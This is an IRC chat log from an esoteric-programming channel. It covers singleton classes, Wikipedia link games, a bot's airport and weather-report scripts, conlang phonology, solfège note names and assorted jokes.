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00:20:57 <hppavilion[1]> \oren\: I don't know OO really. WHat does anyy of that mean?
00:21:35 * oerjan high fives hppavilion[1]
00:21:59 <hppavilion[1]> Is a singleton when you have an object that doesn't do anything except for store either only loosely- or entirely-unrelated data?
00:22:03 <shachaf> oerjan-oriented programming
00:22:26 <shachaf> @google what is a singleton
00:22:27 <lambdabot> https://en.wikipedia.org/wiki/Singleton_pattern
00:22:51 <hppavilion[1]> "In software engineering, the singleton pattern is a software design pattern that restricts the instantiation of a class to one object."
00:22:56 <shachaf> A singleton is a class that only has one instance.
00:23:00 <shachaf> This instance is stored in a global variable.
00:23:28 <shachaf> But instead of using that global variable directly, you call a method called getInstance() which checks if the variable is initialized and initializes it if it isn't.
00:23:31 <hppavilion[1]> So it's basically using a class for the exact opposite of what classes were invented for?
00:23:42 <oerjan> alas, even haskell has singletons, although goldfire is trying to fix that.
00:24:00 <shachaf> You just said you don't know OO, so how do you know what classes were invented for?
00:24:43 <hppavilion[1]> shachaf: I don't do OO in the sense of using it as my technique. I still do plenty of stuff with classes when they're useful, but I don't structure my code *around* having classes
00:25:01 <shachaf> oerjan: What's wrong with Haskell singletons?
00:25:06 * oerjan has read the original Simula Begin book, or at least part of it.
00:25:30 <oerjan> shachaf: they're just a poor man's pi types, or something.
00:25:39 <hppavilion[1]> Like, if I need a Euclidean Vector, I'll create the EuVector class and make it deal with vectors logically, overloading operators as needed
00:26:10 * oerjan doesn't really know dependent typing either, obviously
00:26:33 <hppavilion[1]> Because that makes sense. I don't want to have to use addVectors(a, b) for addition, and if I'm using Vectors then I'm using a *lot* of vectors, so bundling their structure together in one big thing makes sense
00:26:38 <shachaf> oerjan: Do you like System F?
00:27:05 <shachaf> @ask zzo38 Do you like this?
00:27:25 <hppavilion[1]> Classes are good if you want a bunch of related data together, and you want to have a structure for putting that variety of related data together.
00:27:28 <oerjan> shachaf: are you sure you're not approaching harassment with that phrase
00:27:46 <shachaf> i wouldn't want to be harassing people
00:28:17 <shachaf> i hardly even noticed it until a third party pointed it out
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01:44:53 <hppavilion[1]> The real problem with Stranger Danger is that it implies to children they don't have to be constantly paranoid about people they *do* know
01:48:11 <Warrigal> So I've got a dumb Wikipedia game.
01:48:34 <Warrigal> Start at whatever article. Try to get to the article "Indo-European languages" by following no more than 4 links.
01:49:20 <Warrigal> "Mirza Mohammadabad (Persian: ميرزامحمداباد, also Romanized as Mīrzā Moḩammadābād) is a village in Garamduz Rural District, Garamduz District, Khoda Afarin County, East Azerbaijan Province, Iran."
01:50:06 -!- hppavilion[1] has quit (Remote host closed the connection).
01:50:25 <Warrigal> That page happens to mention [[Daylight saving time]], and that article mentions the [[German Empire]], from which you can go to the [[German language]], and thence to [[Indo-European languages]].
01:50:48 <Warrigal> Option 2: dude, Persian is an Indo-European language. You only need 2 clicks.
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02:05:19 <Zarutian> Warrigal: can I convince you to deposit some in my Daylight Savings Fund? You know, sunlight for rainy day?
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02:20:09 <hppavilion[1]> @tell Warrigal Oh yeah? Well I've got an even dumber Wikipedia game: Get to the main page in as few clicks as possible.
02:20:46 <hppavilion[1]> Hm, I just thought of an actually-interesting one, but you have to be polylingual to make it work
02:21:16 <hppavilion[1]> Given a page and two wikipedia, get from that page on the first wiki to its counterpart on the second in as few clicks as possible
02:24:20 <Zarutian> @tell Warrigal can I convince you to deposit some in my Daylight Savings Fund? You know, sunlight for rainy day?
02:30:58 <shachaf> But I'd be interested in some esoteric daylight derivatives.
02:31:04 <shachaf> I guess they usually call them exotic.
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03:13:25 <oerjan> hppavilion[1]: now get to the main page without clicking on anything outside the article proper hth
03:14:39 <oerjan> in fact your polylingual one also needs that restriction to be interesting.
03:16:12 * oerjan feels he may have gone overboard in backseat golfing a newbie at PPCG
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03:18:12 <hppavilion[1]> oerjan: Well, it's still interesting in the latter case, but not as much; you're just taking the distance to a particular article from the main page of the target language +1
03:20:12 <oerjan> um the sidebar links go to the corresponding page
04:08:20 <oerjan> @ask rdococ <rdococ> Or, if you want to be really gross, through alien saliva. <-- have you read yudkowsky's Three Worlds Collide hth
04:17:27 <lambdabot> ENVA 040250Z 10004KT CAVOK 05/01 Q1009 RMK WIND 670FT 16010KT
04:18:02 <HackEgo> #!/bin/bash \ icao="$(airport "$*" | sed -e "s/.*, //;s/)//" | head -n 1)" \ echo lambdabot: @metar "${icao:-$1}"
04:18:53 <HackEgo> Traceback (most recent call last): \ File "/hackenv/bin/airport-lookup", line 20, in <module> \ print '%s (%s, %s)' % (row[1], f(row[4]), f(row[5])) \ IOError: [Errno 32] Broken pipe \ lambdabot: @metar AYGA
04:19:03 <lambdabot> ENVA 040250Z 10004KT CAVOK 05/01 Q1009 RMK WIND 670FT 16010KT
04:19:17 <HackEgo> Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Port Moresby Jacksons Intl (POM, AYPY) \ Port Moresby Jacksons Intl (POM, AYPY) \ P
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04:20:38 <oerjan> `sled bin/metar//s,head,shuf,
04:20:40 <HackEgo> bin/metar//#!/bin/bash \ icao="$(airport "$*" | sed -e "s/.*, //;s/)//" | shuf -n 1)" \ echo lambdabot: @metar "${icao:-$1}"
04:20:55 <lambdabot> SARI 040300Z 00000KT CAVOK 21/20 Q1013
04:21:56 <oerjan> `cat bin/airport-lookup
04:21:56 <HackEgo> #! /usr/bin/env python \ \ import csv \ import sys \ \ if len(sys.argv) < 3: sys.stderr.write('usage: airport-lookup any|name|iata|icao key\n'); sys.exit(1) \ kind, q = sys.argv[1], ' '.join(sys.argv[2:]) \ \ fieldnames = dict(name=1, iata=4, icao=5) \ if kind == 'any': fields = [1, 4, 5] \ elif kind in fieldnames: fields = [fieldnames[kind]]
04:22:15 <HackEgo> Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Port Moresby Jacksons Intl (POM, AYPY) \ Port Moresby Jacksons Intl (POM, AYPY) \ P
04:22:26 <HackEgo> Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Port Moresby Jacksons Intl (POM, AYPY) \ Port Moresby Jacksons Intl (POM, AYPY) \ P
04:22:40 <shachaf> @tell zzo38 By "this" I meant System F. Hope that helps.
04:23:04 <oerjan> oh it was just a random ?
04:23:30 <lambdabot> YBPN 040300Z AUTO 12018KT 9999 // NCD 29/21 Q1013
04:23:39 <HackEgo> #!/bin/bash \ icao="$(airport "$*" | sed -e "s/.*, //;s/)//" | shuf -n 1)" \ echo lambdabot: @metar "${icao:-$1}"
04:23:59 <shachaf> oerjan: You should be able to provide partial airport names, e.g. just a country.
04:24:25 <HackEgo> Norway House Airport (YNE, CYNE)
04:25:01 <oerjan> it doesn't actually search the country field, though.
04:25:13 <HackEgo> Mount Hagen (HGU, AYMH) \ Estevan (YEN, CYEN) \ Estevan (YEN, CYEN) \ Geraldton Greenstone Regional (YGQ, CYGQ) \ Dryden Rgnl (YHD, CYHD) \ Gjoa Haven (YHK, CYHK) \ Stephenville (YJT, CYJT) \ Moose Jaw Air Vice Marshal C M Mcewen (YMJ, CYMJ) \ Port Menier (YPN, CYPN) \ Kenora (YQK, CYQK) \ Trenton (YTR, CYTR) \ City Centre (YTZ, CYTZ) \ Edmonton Ci
04:26:50 <HackEgo> https://hackego.esolangs.org/edit/bin/airport-lookup
04:27:09 <shachaf> I guess I could've just used `url
04:27:41 <shachaf> airport-lookup just does substring matching? It should do something more expressive.
04:28:15 <shachaf> please add regular expression matching twh
04:28:44 <oerjan> it's fizzie's work i think. or at least addition.
04:43:17 <hppavilion[1]> Hm, has anybody found Donny's PornHub or Xvideos account yet?
04:43:33 <shachaf> Maybe you should ask your Twitter followers.
05:38:49 <hppavilion[1]> Gragh, what's the name of that famous gay homophobe preacher again?
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08:10:14 -!- hppavilion[1] has set topic: News: Bombing in St. Petersburg | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
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11:43:25 <fungot> boily: is it possible to use swig and an ffi without knowing c++?)
11:43:41 <boily> fungot: no, especially when knowing C++.
11:43:41 <fungot> boily: now i got it right that is.)
11:43:58 <lambdabot> shachaf said 11h 58m 27s ago: why not make modified mac and cheese? https://www.youtube.com/watch?v=S6AKDODgLwU
11:51:21 <boily> last night's mac'n'cheese was good. I should've taken a picture. maybe next week, if I don't get distracted by the smoked meat.
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12:02:16 <boily> quite saucy, gratiné, served with roasted cheddar chips.
12:07:34 <b_jonas_> Hmm, so the D&D rules say you can still score a critical hit with an improvised weapons. That means we only know that the legend of the horn of Lehel is apocriphial for a historical reason, not because the event itself is impossible.
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12:08:47 <b_jonas> "<int-e> We also need a new prime example of vaporware now that Duke Nukem Forever is released." yeah.
12:09:43 <b_jonas> what do you count as vaporware? does it matter if we expect that it will never be completed, versus if we expect that it will be completed but take like a decade or two more?
12:10:00 <Jafet> could it have been a sneak attack with an improvised weapon?
12:10:06 <b_jonas> ah yes, ASOIAF is a good example too
12:18:52 <b_jonas> "<hppavilion[1]> You can even justify Aliens Speaking Basque because you can say that's where we got the language. That's why it isn't related to any others." => sure, there's that old myth about Hungarians
12:19:28 <b_jonas> though of course it might be easier to justify if the aliens just learn the language from some human they first met
12:19:53 <b_jonas> and their saucer just randomly happened to land in a place where people speak that language
12:20:29 <b_jonas> "<\oren\> or cast ReRaise on it before it dies" => "ReRaise"?
12:22:23 <b_jonas> "<shachaf> \oren\: One time I had a job interview of some sort where the interviewer kept trying to get me to say "singleton"." => was this one of those interviews where they expect you to have learnt "design patterns"?
12:26:20 <b_jonas> Jafet: um, how do sneak attacks work in D&D? I think it's something strange where you can do them even without sneaking. or was that surprise attacks, which you can do without surprising?
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14:50:48 <izabera> "yellow bellied weasels" someone used this as an insult i think
14:52:07 <b_jonas> izabera: you can use anything as an insult really if it's clear from the context that it's an insult. that's useful if you're driving cars abroad and want to swear at other drivers with whom you don't share a languag.e
14:54:38 <fizzie> izabera: I believe yellow-bellied = cowardly.
14:55:21 <fizzie> There's conflicting etymologies in the internet, I don't know which one to trust.
14:55:46 <fizzie> http://www.phrases.org.uk/meanings/yellow-belly.html is a bit of a summary of sorts.
14:56:03 <fizzie> And of course for the other half, 1. weasel -- (a person who is regarded as treacherous or sneaky).
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17:23:19 <\oren\> b_jonas: ReRaise is a spell from Final Fantasy 6
17:23:53 <\oren\> it automatically casts Raise on a character when they die
17:24:43 <oerjan> . o O ( what about when they get a pay cut )
17:25:33 -!- oerjan has set topic: News: Nothing on topic | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
17:25:39 <\oren\> . o O (Someone make an anime called "Our Tank is a part timer")
17:28:28 <oerjan> b_jonas: only in the translated version, obviously.
17:28:58 <oerjan> (Paruchimuro is the tank's name)
17:29:34 <oerjan> or maybe the translaters are just misinterpreting it that way
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17:31:07 <b_jonas> oerhan: nothing on topic? they found a new pyramid in Egypt! http://english.ahram.org.eg/NewsContent/9/40/262156/Heritage/Ancient-Egypt/Remains-of-th-Dynasty-pyramid-discovered-in-Dahshu.aspx
17:31:34 <oerjan> i guess that's esoteric enough
17:31:44 <b_jonas> a pyramid hiding so well that people haven't noticed so far? that's obviously proof of alien cloaking technology
17:31:53 -!- oerjan has set topic: News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
17:32:17 * oerjan was really just trying to get rid of the bomb news
17:34:18 <\oren\> bomberman used to be a game, not something you do to survive your commutr
17:35:06 <oerjan> b_jonas: actually the pyramid seems to be just parts left, so it's easier to hide. however, a pyramid being destroyed like that is obvious proof of ancient nuclear weapons!
17:36:20 <oerjan> clearly some aliens used a brahmastra there
17:37:33 <oerjan> which also explains why there's so much desert.
17:42:46 <b_jonas> oerjan: note that it's one of the pyramids built the latest, during the 13th dynasty. I think that means those ancient aliens are still building pyramids in the past as we speak, and when they build it in the past, we discover them meanwhile in the present.
17:43:01 <b_jonas> It's just not a very common event, because they only build one every few decades.
17:45:49 <oerjan> (would these aliens happen to be three in number, and pretty stupid?)
17:52:46 <b_jonas> Instead of basing our metric system on hard to measure nuclear stuff, we should just define the centimeter as the thickness of typical wooden boards used in furniture.
17:57:21 * oerjan tries in vain to backronym IKEA for the purpose
17:57:36 <oerjan> International is easy.
17:58:06 <oerjan> oh wait, maybe it's in swedish
18:00:17 <oerjan> imagine a world in which IKEA were the first to introduce standard measures.
18:00:30 <lambdabot> *** "aperture" wn "WordNet (r) 3.0 (2006)"
18:00:30 <lambdabot> n 1: a device that controls amount of light admitted
18:00:30 <lambdabot> 3: an man-made opening; usually small
18:00:41 <oerjan> hm i don't think that fits.
18:00:58 <rdococ> 4: a fictional esoteric laboratory
18:01:15 <oerjan> i know. i don't think that's good for this purpose.
18:02:57 <oerjan> to backronym IKEA into a wood-based international system of measure hth
18:03:20 <lambdabot> LOWI 041650Z 08007KT 050V110 9999 FEW025 SCT070 BKN110 10/06 Q1021 NOSIG
18:03:27 <oerjan> i was assuming you were trying to help with the A
18:03:40 <lambdabot> LICD 041550Z 32012KT 9999 FEW025 16/12 Q1016
18:03:45 <lambdabot> https://wiki.haskell.org/Lambdabot
18:04:11 <int-e> workaround for that is still holding too
18:04:12 <b_jonas> fungot, how would you define a centimeter?
18:04:12 <fungot> b_jonas: have you seen orion? :( but fis promised i cry now? mooz's going to kill someone? yes.
18:04:44 <oerjan> int-e: is lambdabot starting to get held together by duct tape?
18:05:32 <int-e> oerjan: "the problem" is flaky IPv6 neighbour discovery, and it's really not lambdabot's fault, I can repreduce it with a C program.
18:09:00 <rdococ> International Ksomething Esomething Authority
18:09:40 <int-e> Knob Embellishment
18:10:56 <rdococ> How about an esoteric-class type?
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18:28:54 <\oren\> oerjan: the katakanization of "part timer" would be paatotaimaa btw
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18:35:01 <rdococ> /pɑ:t taımə/ if you have a non-rhotic dialect
18:36:34 <\oren\> japanese katakanization of words is, in general, non-rhotic
18:37:31 <\oren\> apartment -> apaato, whiteboard -> howaitoboodo, etc
18:38:36 <rdococ> I doubt anyone pronounces the "wh" in wh words any more.
18:38:58 <\oren\> my dad does but he's really really old
18:39:17 <rdococ> I was working on a conlang with /c/ but meh.
18:39:23 <rdococ> I need motivation to continue it.
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18:43:09 <\oren\> it also for some reason always assimilates t and y into ch
18:43:48 <rdococ> Does Japanese itself have /t/ and /j/?
18:44:15 <b_jonas> \oren\: what does naisutumiichu mean?
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18:45:05 <rdococ> You mean /tj/ becomes /tS/?
18:45:13 <rdococ> That's not all that strange, to be honest.
18:45:35 <rdococ> It's pronounced with a /tS/ in my dialect too.
18:45:53 <\oren\> well yes some dialects of english have a lot of these features
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18:49:56 <rdococ> I also tend to add /ɹ/ between some words.
18:53:01 <\oren\> what like "so the idea r is"
18:53:30 <\oren\> some people in my family do that
19:03:37 <rdococ> . o O ( I like using thought bubbles and porthellos outside of #esoteric )
19:07:45 <oerjan> <rdococ> I was working on a conlang with /c/ but meh. <- /c/ is all greek to me
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19:10:02 <rdococ> Also, it's Latin, not Greek.
19:13:57 <oerjan> anyway, the word for "and" in modern greek starts with it, and seems _very_ common.
19:16:59 * oerjan should get back to learn more songs, but seems to get too preoccupied with code golfing...
19:17:49 * oerjan thinks his grammar is slipping, needs more -ing
19:18:33 <rdococ> Iting woulding being bettering ifing youing useding moreing inging.ing
19:18:42 <oerjan> norwegian doesn't have progressive aspect like english
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20:13:40 <\oren\> there's a political party in Ontario called the progressive conservatives
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21:08:13 <hppavilion[1]> I just thought of *one* time that singleton classes are reasonable (while programming; I need one) though I'd rather if I could just create it as a literal object
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21:08:55 <hppavilion[1]> Iff your language supports operator overloading, using a singleton to have an "undefined" type (for which any operation involving it is undefined) is allowed.
21:09:37 <wob_jonas> There should be a protocol that's half-compatible with IRC, with weaker guarantees, in which the servers need not be connected in a forest topology, so there can be cycles. That will help if we ever have servers on three non-collinear planets or moons or space stations, because restricting the connections to a forest can cause transmission delays.
21:10:09 <HackEgo> 1/2:^//^ (also notated by ⊕ or ⊻) is the exclusive-or operator; ∧ (also notated by /\ or &) is the and (conjunction) operator; ^ (also notated by ↑ or ** or ⋆) is the power operator. \ istr//istr istr is vaguely similar to iirc. \ all//All that glitters is not gold. \ infinitive//Infinitives are atomic verbs. They were first spl
21:10:36 <HackEgo> 2/2:it in the 1940s, and the world hasn't looked back since. \ xor//Xor is just addition of nimbers.
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21:21:28 <HackEgo> 10567:2017-04-02 <oerjän> learn istr istr is vaguely similar to iirc.
21:21:54 <shachaf> istr = int-e seems to recall?
21:22:11 <hppavilion[1]> wob_jonas: I'm not actually sure what connected servers mean?
21:22:23 <shachaf> oerjan: istr "istr" is vaguely similar to "iirc" iirc
21:23:27 <shachaf> object-oriented programming < return-oriented programming
21:23:29 <wob_jonas> hpp: and IRC network (which is this stuff we're talking on now, you know) is made of servers and clients. each client is connected to one server, and the servers are connected to each other, but not pairwise, but only in a tree shape. the servers manage to transmit the messages on channels and private messages and all other stuff to the right clien
21:23:31 <hppavilion[1]> (a coquine is a program which never outputs its own source code; to coquine a string s is to output anything but «<s> "<s>"»
21:24:14 <shachaf> Do you mean anything by the word "co"?
21:24:33 <wob_jonas> hpp: the servers within an IRC network are connected so eg. if a client says something on a #-channel on one server, then every client who's joined that channel on any server will get that message.
21:30:00 <wob_jonas> An alternate theory (to martians) is that the new pyramid was made for publicity by WotC for the upcoming Amonkhet set, which has an ancient Egypt theme.
21:30:53 <wob_jonas> So in that case, Mark Rosewater went back in time more than three thousand years, carried the giant stones on his own back, and built the pyramid.
21:31:14 <wob_jonas> I don't know whether that's more believable than the martian spaceship hangars.
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21:49:33 <int-e> . o O ( return oriented programming is one of those things that makes your computer not just useful to you, but to a greater part of society... )
21:50:17 <shachaf> Did you read _Max Und Moritz_?
21:50:51 <shachaf> Do you remember the teacher? They made fun of him for being a goat, I think.
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21:53:28 <int-e> easy to find out... http://www.gutenberg.org/files/17161/17161-h/17161-h.htm#Vierter_Streich
21:53:54 * hppavilion[1] applies the Fast Furrier Transform to a vector containing all of the world's Sphynx cats
21:56:36 <int-e> shachaf: So... the goat-like person was the tailor.
21:57:41 <hppavilion[1]> `addquote <int-e> So... the goat-like person was the tailor. <shachaf> Ah, makes sense.
21:57:43 <HackEgo> 1311) <int-e> So... the goat-like person was the tailor. <shachaf> Ah, makes sense.
21:58:54 <int-e> (and basically it was just because of the name)
21:59:11 <HackEgo> /hackenv/bin/`: line 4: /hackenv/bin/revert: Permission denied
21:59:11 <shachaf> Anyway, did you read Jim Knopf?
21:59:24 <int-e> I forgot that this is built in :P
21:59:37 <wob_jonas> yes, once, but don't remember much of it
21:59:38 <int-e> No, I didn't read Jim Knopf.
22:00:09 <wob_jonas> except for the giant that appears bigger if you look at them from farther, which is the opposite from normal people, who seem tinier if seen from farther
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22:00:51 <int-e> Tough names though, what's the tortoise called... was it Kassiopeia?
22:01:03 <shachaf> Yes, Cassiopeia or something like that.
22:01:07 <shachaf> https://en.wikipedia.org/wiki/List_of_fictional_turtles hth
22:01:15 <wob_jonas> int-e: yes. from the constellation.
22:01:27 <shachaf> But I later reread it English.
22:01:44 <int-e> I read it in German, naturally.
22:01:52 <wob_jonas> what? why'd you do that? is the Hebrew translation that bad?
22:02:02 <wob_jonas> or was it no longer available to you?
22:02:18 <shachaf> I think it's not easy to get in the US.
22:02:27 <shachaf> There were probably at least 15 years between the readings.
22:03:11 <shachaf> Oh man, those scow gray gentlemen.
22:03:31 <shachaf> I'm reading the plot summary now.
22:03:32 <wob_jonas> it's just sad in general that we still live in a world where I have to go to libraries, and often can't get books, especially ones published abroad, from them
22:03:44 <shachaf> Wait, did I actually reread it in English?
22:03:46 <wob_jonas> why can't I just get any book digitally through the internet, no matter where it was published?
22:03:52 <shachaf> Maybe I only bought a copy and didn't read it?
22:03:58 <shachaf> Oh, digital books are scow.
22:04:12 <wob_jonas> shachaf: sure, I like dead-tree books too
22:04:24 <shachaf> Master Secundus Minutus Hora
22:04:26 <wob_jonas> but still, I'd prefer digital books over no books
22:04:40 <wob_jonas> yep, those are some of the characters
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22:50:24 <hppavilion[1]> Hm. Problem with referring to Native Americans as "Indians" (or "American Indians"): If the people in the Antilles (where Columbus landed) were Indians, that would make Natives living in now-Colorado Turkmen
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23:40:52 <HackEgo> cosplay//Cosplay is the art of dressing up as people to show off to other people dressed up as people.
23:41:51 <boily> I should cosplay into something bright pink. that way, if I ever get lost during the next convention, I'll know where to find me.
23:43:06 <boily> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH!
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23:44:37 <\oren\> boily: you should cosplay as Madoka
23:44:52 <boily> he\\oren\! good idea!
23:47:53 <\oren\> Apparently Emma Watson is a furry
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23:49:03 <\oren\> http://dlisted.com/2017/03/13/emma-watson-is-totally-a-furry/
23:49:26 <\oren\> “Aslan in Narnia. I found the lion quite hot. Is that wrong? Is that okay? Probably not. No, it’s not okay. It’s not okay. I’m getting shaking heads. It happens. Sometimes animals in films are hot. I don’t know what to say.” -- Emma Watson
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23:51:30 * boily acquires a large sodium chloride crystal and waves it around his desktop
23:53:09 <\oren\> I agree,http://media.moddb.com/images/groups/1/3/2055/1187025029_Suffer_Not_the_Furry_to_Live_Desu.jpg
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23:57:16 <hppavilion[1]> Well, it's abuse of mathematics time. i̊ = (π/180)√-1.
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00:08:28 <HackEgo> partial order//A partial order is just a small thin skeletal category.
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00:17:56 <quintopia> i get where emma watson was coming from there
00:18:26 <quintopia> adult Nala was pretty hot in that "can you feel the love tonight" scene
00:19:15 <boily> hmm... very laggy tonight.
00:20:35 <boily> no idea. generic connectivity uncoöperativeness...
00:21:16 <boily> meanwhile, laundry, eating, random stuff...
00:21:27 <boily> how life on your end?
00:27:28 <quintopia> so im eating a sub and reading my novel
00:32:27 * boily is proprocrastinating his taxes >_>'...
01:08:56 <shachaf> ybden: http://feelingmyage.co.uk/wp-content/uploads/2011/09/periodictable.gif hth
01:13:22 <boily> helloochaf. there is something not quite right with that table...
01:22:11 <HackEgo> glitch//glitch? ¯\(°_o)/¯
01:29:04 <HackEgo> sparta//WE. DON'T. KNOW. ANYTHING. ABOUT. SPARTA!
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01:37:25 <HackEgo> trantor//Coruscant is a planet covered entirely by a city. It is the capital of the Galactic Empire, and the home for the biggest library in it.
01:37:46 <HackEgo> fourth wisdom//.wisdoms other the all upon builds wisdom fourth The
01:38:05 <HackEgo> `1//`1 <cmd> is equivalent to `` <cmd>, except that it splits the output into irc-sized pieces. The next pieces can be viewed with `spam. See also `2.
01:38:20 <HackEgo> typoglycerine//Typoglycerine is an explosive that scrambles the letters inside a word.
01:38:42 * Zarutian had not heard of typoglycerine.
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05:22:45 <HackEgo> [wiki] [[Brainfuck implementations]] M https://esolangs.org/w/index.php?diff=51639&oldid=51568 * Btzy * (+7) /* Optimizing implementations */
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05:55:47 <HackEgo> 🐚:(1+sqrt(5))/2 hth \ but:But is an hth derivative. \ chthonic:Chthonic lithping can be vethy dithturbing to lithten to. \ hambiguitous:We're not sure what hambiguitous means, but it's definitely not hth. \ hðh:hðh is how hppavilion[n] decides to sæ 'hth' when e's beiŋ annoyiŋ. At least, in a subset of ðose times. \ helloily:helloily is
05:55:47 <HackEgo> 🐚:(1+sqrt(5))/2 hth \ but:But is an hth derivative. \ chthonic:Chthonic lithping can be vethy dithturbing to lithten to. \ hambiguitous:We're not sure what hambiguitous means, but it's definitely not hth. \ hðh:hðh is how hppavilion[n] decides to sæ 'hth' when e's beiŋ annoyiŋ. At least, in a subset of ðose times. \ helloily:helloily is
05:55:57 <HackEgo> associativity:Associativity means that h(th) = (ht)h, if you're flexible about it.
05:56:08 <shachaf> Oh, https://en.wikipedia.org/wiki/Flexible_algebra
05:56:15 <shachaf> I'm not sure whether I understood it before?
06:09:10 <izabera> is north korea actually thinking they could win a nuclear war against america?
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06:48:13 <Hoolootwo> it could possibly cripple the US with an EMP pulse
06:48:29 <Hoolootwo> we can't do the same to them because they don't have much technology to lose
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07:39:56 <pikhq> Do di ra re ri me mi fa fi se sol si le la li te ti. There's the sequence of half steps.
07:40:56 <Jafet> > length $ words "Do di ra re ri me mi fa fi se sol si le la li te ti"
07:41:38 <izabera> that can't be right, can it?
07:41:57 <pikhq> There's redundancy there.
07:42:05 <pikhq> Si and le are the same note.
07:42:30 <shachaf> Note names are such a mess.
07:42:32 <izabera> in italian the 7 normal notes are do re mi fa sol la si
07:42:42 <izabera> and you put si between sol and la
07:42:45 <shachaf> And so are piano keyboards.
07:43:01 <shachaf> Diatonic scale? More like diatonic scow.
07:43:12 <pikhq> The English solfege is "do re mi fa sol la ti".
07:43:33 <pikhq> Also, the English system is a relative, not fixed, system.
07:43:49 <hppavilion[1]> izabera: I once invented a Zeno-y notation for crazy accidentals
07:44:07 <pikhq> i.e. all the names are *in relation* to an arbitrary "do".
07:44:20 <hppavilion[1]> The first accidental affects your pitch by 1/2 tone (a semitone)
07:44:30 <hppavilion[1]> The second affects it by 1/4, the third by 1/8, and so on
07:44:34 <shachaf> Oh, that's good, at least.
07:44:48 <pikhq> Apparently in the Romance systems, the solfege thing is *actually the note names*.
07:45:13 <pikhq> i.e. "do" is C, unconditionally, there.
07:45:15 <hppavilion[1]> Though in retrospect, maybe trientones would be more interesting
07:45:28 <pikhq> shachaf: Not generally, no.
07:46:26 <lambdabot> KDEN 050553Z 33008KT 10SM BKN060 01/M02 A3017 RMK AO2 SLP222 60004 T00061022 10039 20000 51013 $
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10:43:53 <ybden> shachaf: shelloachaf
10:43:58 <ybden> shachaf: I approve of this table.
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11:48:52 <boily> aaaah, finally internet!
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15:12:36 <HackEgo> Adarkar Valkyrie \ 4WW \ Snow Creature -- Angel \ 4/5 \ Flying, vigilance \ {T}: When target creature other than Adarkar Valkyrie dies this turn, return that card to the battlefield under your control. \ CSP-R, MMA-R, C14-R
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17:04:42 <HackEgo> [wiki] [[Aceto]] N https://esolangs.org/w/index.php?oldid=51640 * L3viathan * (+1145) Created page with "'''Aceto''' is an [[esoteric programming language]] made by [[User:L3viathan|L3viathan]], designed according to the wishes of [https://twitter.com/sarnthil @sarnthil]. The nam..."
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19:12:07 <shachaf> rdococ: I recommend taking int-e's advice.
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19:27:31 <HackEgo> zsoc: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
19:27:33 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
19:28:15 <zsoc> s/relcome/welcome/
19:28:18 <moony> Just a rainbow welcome command :P
19:28:33 <zsoc> I was just testing if a bot would pick up my sed, i'm sad now
19:28:42 <HackEgo> Usage: /bin/sed [OPTION]... {script-only-if-no-other-script} [input-file]... \ \ -n, --quiet, --silent \ suppress automatic printing of pattern space \ -e script, --expression=script \ add the script to the commands to be executed \ -f script-file, --file=script-file \ add the contents of sc
19:28:44 <moony> it has it installed
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19:30:13 <moony> shachaf, Sorry. Was just showing him what hackego does
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19:40:07 <rdococ> Pronounce it /wylkum/.
19:40:19 <rdococ> It's a word in my new language, it means "Welcome".
19:44:23 <rdococ> Haven't come up with a name yet.
19:44:35 <rdococ> It will have /c/, /y/ and /ɥ/.
19:45:32 <zsoc> is this worldbuilding? :3
19:45:55 <rdococ> nah, just the language
19:46:07 <Herbstkind> Any specialization for the language? ^^
19:46:31 <Herbstkind> Are you constructing it with a special purpose in mind?
19:49:26 <moony> zsoc, Welcome to #esoteric, where you never know what the next topic will be unless you are the one starting it
19:49:33 <moony> Sometimes not even then
19:53:21 <\oren\> https://www.youtube.com/watch?v=wlp58qAOjRU
19:56:56 <rdococ> <Herbstkindem Mi wylkum>, <Mi Herbstkindem wylkum> or <Mi wylkum Herbstkindem> are sufficient to say "I welcomed Herbstkind"
19:57:24 <rdococ> The -em means that the noun is the object of the sentence.
19:58:47 <Herbstkind> So what would "rdococ welcomes Herbstkind." mean?
19:59:52 <Herbstkind> As if when someone states that you're welcoming me. They would say "rdococ welcomes Herbstkind".
20:00:09 <rdococ> <Herbstkindem rdococ wylkum>
20:00:28 <Herbstkind> Also who or what do you intend to program with that language :P
20:02:13 <rdococ> <Herbstkindem Mi wylkum pas> for past, or <Herbstkindem Mi wylkum fytur> for the future (atm)
